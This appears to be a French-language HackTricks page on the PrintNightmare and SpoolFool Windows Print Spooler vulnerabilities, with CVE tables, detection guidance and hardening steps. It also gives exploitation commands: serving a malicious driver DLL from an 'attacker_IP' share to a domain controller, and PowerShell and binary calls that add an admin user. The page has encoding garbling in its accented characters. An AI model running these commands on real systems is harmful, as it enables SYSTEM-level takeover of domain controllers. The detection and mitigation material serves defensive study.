PrintNightmare (Windows Print Spooler RCE/LPE)
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
PrintNightmare est le nom collectif donnĂ© Ă une famille de vulnĂ©rabilitĂ©s dans le service Print Spooler de Windows qui permettent l'exĂ©cution de code arbitraire en tant que SYSTEM et, lorsque le spooler est accessible via RPC, l'exĂ©cution de code Ă distance (RCE) sur les contrĂŽleurs de domaine et les serveurs de fichiers. Les CVEs les plus largement exploitĂ©s sont CVE-2021-1675 (initialement classĂ© comme LPE) et CVE-2021-34527 (RCE complet). Des problĂšmes ultĂ©rieurs tels que CVE-2021-34481 (âPoint & Printâ) et CVE-2022-21999 (âSpoolFoolâ) prouvent que la surface d'attaque est encore loin d'ĂȘtre fermĂ©e.
1. Composants vulnérables & CVEs
Année | CVE | Nom court | Primitive | Remarques |
---|---|---|---|---|
2021 | CVE-2021-1675 | âPrintNightmare #1â | LPE | CorrigĂ© dans le CU de juin 2021 mais contournĂ© par CVE-2021-34527 |
2021 | CVE-2021-34527 | âPrintNightmareâ | RCE/LPE | AddPrinterDriverEx permet aux utilisateurs authentifiĂ©s de charger un DLL de pilote Ă partir d'un partage distant |
2021 | CVE-2021-34481 | âPoint & Printâ | LPE | Installation de pilote non signĂ© par des utilisateurs non administrateurs |
2022 | CVE-2022-21999 | âSpoolFoolâ | LPE | CrĂ©ation de rĂ©pertoires arbitraires â Plantage de DLL â fonctionne aprĂšs les correctifs de 2021 |
Tous abusent de l'une des méthodes RPC MS-RPRN / MS-PAR (RpcAddPrinterDriver
, RpcAddPrinterDriverEx
, RpcAsyncAddPrinterDriver
) ou des relations de confiance à l'intérieur de Point & Print.
2. Techniques d'exploitation
2.1 Compromission du contrĂŽleur de domaine Ă distance (CVE-2021-34527)
Un utilisateur de domaine authentifié mais non privilégié peut exécuter des DLL arbitraires en tant que NT AUTHORITY\SYSTEM sur un spooler distant (souvent le DC) en :
# 1. Host malicious driver DLL on a share the victim can reach
impacket-smbserver share ./evil_driver/ -smb2support
# 2. Use a PoC to call RpcAddPrinterDriverEx
python3 CVE-2021-1675.py victim_DC.domain.local 'DOMAIN/user:Password!' \
-f \
'\\attacker_IP\share\evil.dll'
Les PoCs populaires incluent CVE-2021-1675.py (Python/Impacket), SharpPrintNightmare.exe (C#) et les modules misc::printnightmare / lsa::addsid
de Benjamin Delpy dans mimikatz.
2.2 ĂlĂ©vation de privilĂšges locale (tous les Windows pris en charge, 2021-2024)
La mĂȘme API peut ĂȘtre appelĂ©e localement pour charger un pilote depuis C:\Windows\System32\spool\drivers\x64\3\
et obtenir des privilĂšges SYSTEM :
Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
2.3 SpoolFool (CVE-2022-21999) â contournement des correctifs de 2021
Les correctifs de Microsoft de 2021 ont bloqué le chargement de pilotes à distance mais n'ont pas durci les permissions des répertoires. SpoolFool abuse du paramÚtre SpoolDirectory
pour créer un répertoire arbitraire sous C:\Windows\System32\spool\drivers\
, dépose une DLL de charge utile et force le spouleur à la charger :
# Binary version (local exploit)
SpoolFool.exe -dll add_user.dll
# PowerShell wrapper
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
L'exploit fonctionne sur Windows 7 â Windows 11 entiĂšrement patchĂ© et Server 2012R2 â 2022 avant les mises Ă jour de fĂ©vrier 2022
3. Détection & chasse
- Journaux d'Ă©vĂ©nements â activez les canaux Microsoft-Windows-PrintService/Operational et Admin et surveillez l'ID d'Ă©vĂ©nement 808 âLe spouleur d'impression a Ă©chouĂ© Ă charger un module plug-inâ ou les messages RpcAddPrinterDriverEx.
- Sysmon â
ID d'événement 7
(Image chargée) ou11/23
(Ăcriture/suppression de fichier) Ă l'intĂ©rieur deC:\Windows\System32\spool\drivers\*
lorsque le processus parent est spoolsv.exe. - LignĂ©e des processus â alertes chaque fois que spoolsv.exe gĂ©nĂšre
cmd.exe
,rundll32.exe
, PowerShell ou tout binaire non signé.
4. Atténuation & durcissement
- Mettez Ă jour ! â Appliquez la derniĂšre mise Ă jour cumulative sur chaque hĂŽte Windows ayant le service Print Spooler installĂ©.
- DĂ©sactivez le spouleur lĂ oĂč il n'est pas nĂ©cessaire, en particulier sur les contrĂŽleurs de domaine :
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
- Bloquez les connexions Ă distance tout en permettant l'impression locale â StratĂ©gie de groupe :
Configuration de l'ordinateur â ModĂšles administratifs â Imprimantes â Autoriser le spouleur d'impression Ă accepter les connexions des clients = DĂ©sactivĂ©
. - Restreindre Point & Print afin que seuls les administrateurs puissent ajouter des pilotes en définissant la valeur du registre :
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
Guide détaillé dans Microsoft KB5005652
5. Recherche / outils connexes
- mimikatz
printnightmare
modules - SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
- Exploit SpoolFool & compte rendu
- Micropatches 0patch pour SpoolFool et d'autres bugs de spouleur
Lecture complĂ©mentaire (externe) : Consultez le billet de blog de 2024 â Understanding PrintNightmare Vulnerability
Références
- Microsoft â KB5005652 : GĂ©rer le nouveau comportement d'installation de pilote par dĂ©faut de Point & Print https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872
- Oliver Lyak â SpoolFool : CVE-2022-21999 https://github.com/ly4k/SpoolFool
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.